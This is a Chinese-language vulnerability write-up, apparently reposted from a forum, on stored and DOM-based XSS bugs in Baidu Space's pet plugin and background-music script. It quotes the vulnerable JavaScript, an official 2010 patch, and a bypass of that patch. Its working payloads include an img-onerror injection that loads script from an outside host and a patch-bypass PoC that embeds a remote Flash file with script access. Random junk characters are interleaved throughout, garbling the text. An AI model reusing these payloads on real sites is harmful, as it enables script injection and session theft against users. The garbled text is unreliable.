百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.
3 f7 } m. X! Y" ^+ u! w0 H
( t8 w. |! w% q8 q3 p# t1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.
9 L# I8 K8 a$ }) _& _9 v# y7 [2.在http://hi.baidu.com/ui/scripts/pet/pet.js中 7 \# G! c) u' h
7 j7 T9 O) \, F( r% R- O将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p> _7 B& t' P; \
其中BdUtil.insertWBR为
/ @0 W0 L( X7 Q0 I% }function(text, step) { % [2 [- M) X" R( J4 |' a4 m2 ~ t9 r
var textarea = textAreaCache || getContainer(); ) ^, D5 g7 P7 U
if (!textarea) {
" R: N1 D; Y' \$ e return text;
9 q1 s! y, G, O3 |$ W7 d } 9 e" c I* j9 H: e
textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");
2 U/ G+ O f* N) C# c! f* h# Z var string = textarea.value;
$ D# g1 z. Y$ t5 b. m& Z) X) m var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi"); 6 u6 F( e5 {/ d! z) b, {8 v- A
var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");
) o+ k6 S8 [* n0 J return result; m* Z6 D6 F! ]) g9 c/ C( ?$ b
}
7 c7 F( O4 `/ `/ Z( f, e: o在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.
% P% p# k3 j: e: {7 i+ o9 x, c测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)> 1 v2 r( s+ s' x
* ~$ z: U" T' M6 H5 X, v" Q
二:creatbgmusic() Dom-Xss Bug 8 M4 _- _ U" s
百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞 + `6 Y: m% o. c W7 m8 G7 R
% l4 o1 g8 w+ \% Y# ~在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:
2 M! F' d! {' l
4 P7 o& u+ X; B" zfunction creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) { + e$ ?- u9 o) q1 O( j7 a5 Y
//传入的murl赋值到bgmusic1和bgmusic2中 % j0 M* E3 ]5 ^3 M0 r
//可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1 3 U7 l- e( B& Q4 D; P- s
var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">"; + z3 Y) J' K5 Q$ _
if (musicnum <= 1) {
5 J$ b9 f# e7 ` bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">"; & t( ^: M$ l: d! [: s" _
}
. B. W+ V: n1 I% t* P7 X2 e bgmusic1 += "</OBJECT>"; ! {) k0 ?1 W# Z2 c0 e3 c
var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";
' b) p; r3 y. p# h0 i5 ? if (musicnum <= 1) { 8 U ]' b# f0 C' D
bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";
8 S( g+ i9 s$ Q. d% D } 1 q) p& f+ l# e7 |6 h5 D7 a
bgmusic2 += "> </EMBED>"; & \3 c+ F# I3 Z Q2 `$ o- M- A
var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>"; ' ~# V0 }4 I) m* k8 }
var bgmus = detectWMP();
) g) j1 [" C0 s2 t* t+ y if (functype == "FckMusicHelper") {
: b8 M4 ^, V6 l if (bgmus.installed) { & c7 w- |: g/ B( }4 Q4 z7 b
if (bgmus.type == "IE") { 9 v: v) c! g& ]; f+ J
return bgmusic1; z, Q9 D, Q: I5 F! [
} else if (bgmus.type == "NS") { , f$ a$ h, v+ u: o
return bgmusic2; 9 W. P9 a* z1 [/ v
}
# @( ?2 \8 y7 }/ D } else { ) m: G" O6 [3 [ N+ `2 C& D
return bgmusic3;
, v+ n7 o2 N* A G n3 `. V; ? }
3 m/ c0 |+ u) s/ o } else {
8 |! u& A- \2 {+ G* @ if (bgmus.installed) { 9 e0 }( ^4 H" W
//document.write 直接输出bgmusic变量 导致xss
0 N$ C6 B4 L5 U5 K$ s if (bgmus.type == "IE") { 7 |" w, p x9 X: T% T; ]( \
document.write(bgmusic1); 7 q9 S% T2 k9 ~: m* Q- ^: ^3 u
} else if (bgmus.type == "NS") {
6 [3 p0 v( W! Z7 }0 j6 N document.write(bgmusic2); 4 t" s. Y" T. G, O: M' w' P
}
2 c8 Z! R" Y" \& J6 X } else { ; I; c: W! h1 [. d! N
document.write(bgmusic3); ) i" C& w" q8 @
}
0 @* L, F+ S) }# ^/ w return ""; 1 b5 P/ D$ I, C: t7 Q
} 1 b9 q; y: w0 ]7 t3 }
} 8 p3 u) g1 Z& }+ W) H7 @
0 r5 `" K$ a* K, m$ b4 |
在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下: 4 m* P# F. h8 K# e/ a0 i0 S2 E
" q0 B3 k) t+ _
function initBlogTextForFCK(){ / J3 a3 X" u5 Y$ J
//fck init music . e+ Y9 K$ S7 a0 l$ j3 `3 I, D
if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}} 5 A$ k% A+ c' d& M+ z
var imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组 ' v, l I( i) J% ]1 X% x. e: R( s
var isAutoPlay=true; # ~0 v! T: T/ O$ i3 G/ J& D
for(var i=0,n=imgBox.length;i<n;i++){ //然后遍历. + w7 U1 d7 l' h; ?2 }
var img=imgBox;
& m5 I) D1 X t( r t, h if(img.getAttribute(’rel’)){
& H+ C3 T8 v. z$ @9 |- d' {0 X var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc
2 T1 y9 c( c2 {. t/ r var musicDiv = document.createElement("SPAN"); * L' O6 F( B* e+ m
var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp] 4 ^/ p; `8 F/ u* o8 f% U1 i
0 G8 r2 i) V* [8 W$ L, t ..........................
$ N# I {8 h: ~% E: K$ I; [ " t$ Z1 G" B6 O: g$ R$ e8 N
//直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来. , t) A& G* {6 s, x: e. J" V0 B; D
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); & o, Y$ [; b a
shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv); ' D" q; h- y* L9 C
musicDiv.innerHTML=shtml;
% p! J, y) {8 P0 `9 Q0 V, j/ m# O i--;n--; ?+ z: h. o2 C4 X2 p. n4 e
}
" K, E+ s9 y- |9 t* S" N} 8 d8 X' S7 w% m, a
* S) T: f* W2 }0 f$ Y% {9 V
从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.
# Y* @" O A% S
) Y) `& P4 U1 A: }* P/ L测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>
+ c. q9 ]2 ~* N6 U* }7 ]/ @' q& S7 E7 I- H, M" a
等待官方补丁 6 J2 r M( d) A& I0 M
4 l7 C# d6 E# W" \ z/ P6 k$ F5 m& B9 }update 2010年5月13日
% j6 C. N/ V1 ]
1 ^) o& z q0 D$ e# h7 K# W官方补丁:
! I( J; b0 C, E3 {8 n0 L m7 Y
3 w2 q q+ U- n! vvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
+ e; l, X9 N+ J( l改为:
% m) ^" J( d' ?' H& yvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);
7 K6 a% H) J9 @/ R
6 J0 @9 [4 L* [update 2010年5月13日 21:50:37
( e2 r4 J0 l! g9 K
; u6 @$ i$ Z" Y( j7 m: Q; u6 }& k4 E补丁存在漏洞 没有过滤" 可以继续跨: . t/ [ t7 ~& c2 l; U$ ~
0 V4 g6 I$ F! i0 Z: X- B
NEW POC:
4 s- c+ Y+ J* l k. J+ |
2 M% y: l1 _0 b$ ?; B<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf" - ]$ \1 h7 S' X7 d- W
8 t( J# O+ q" o3 Z" ~6 A0 {
allowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>
; o$ \$ D. ]+ ~& P$ a' ~ 1 k$ G, K. W# E4 b. d
|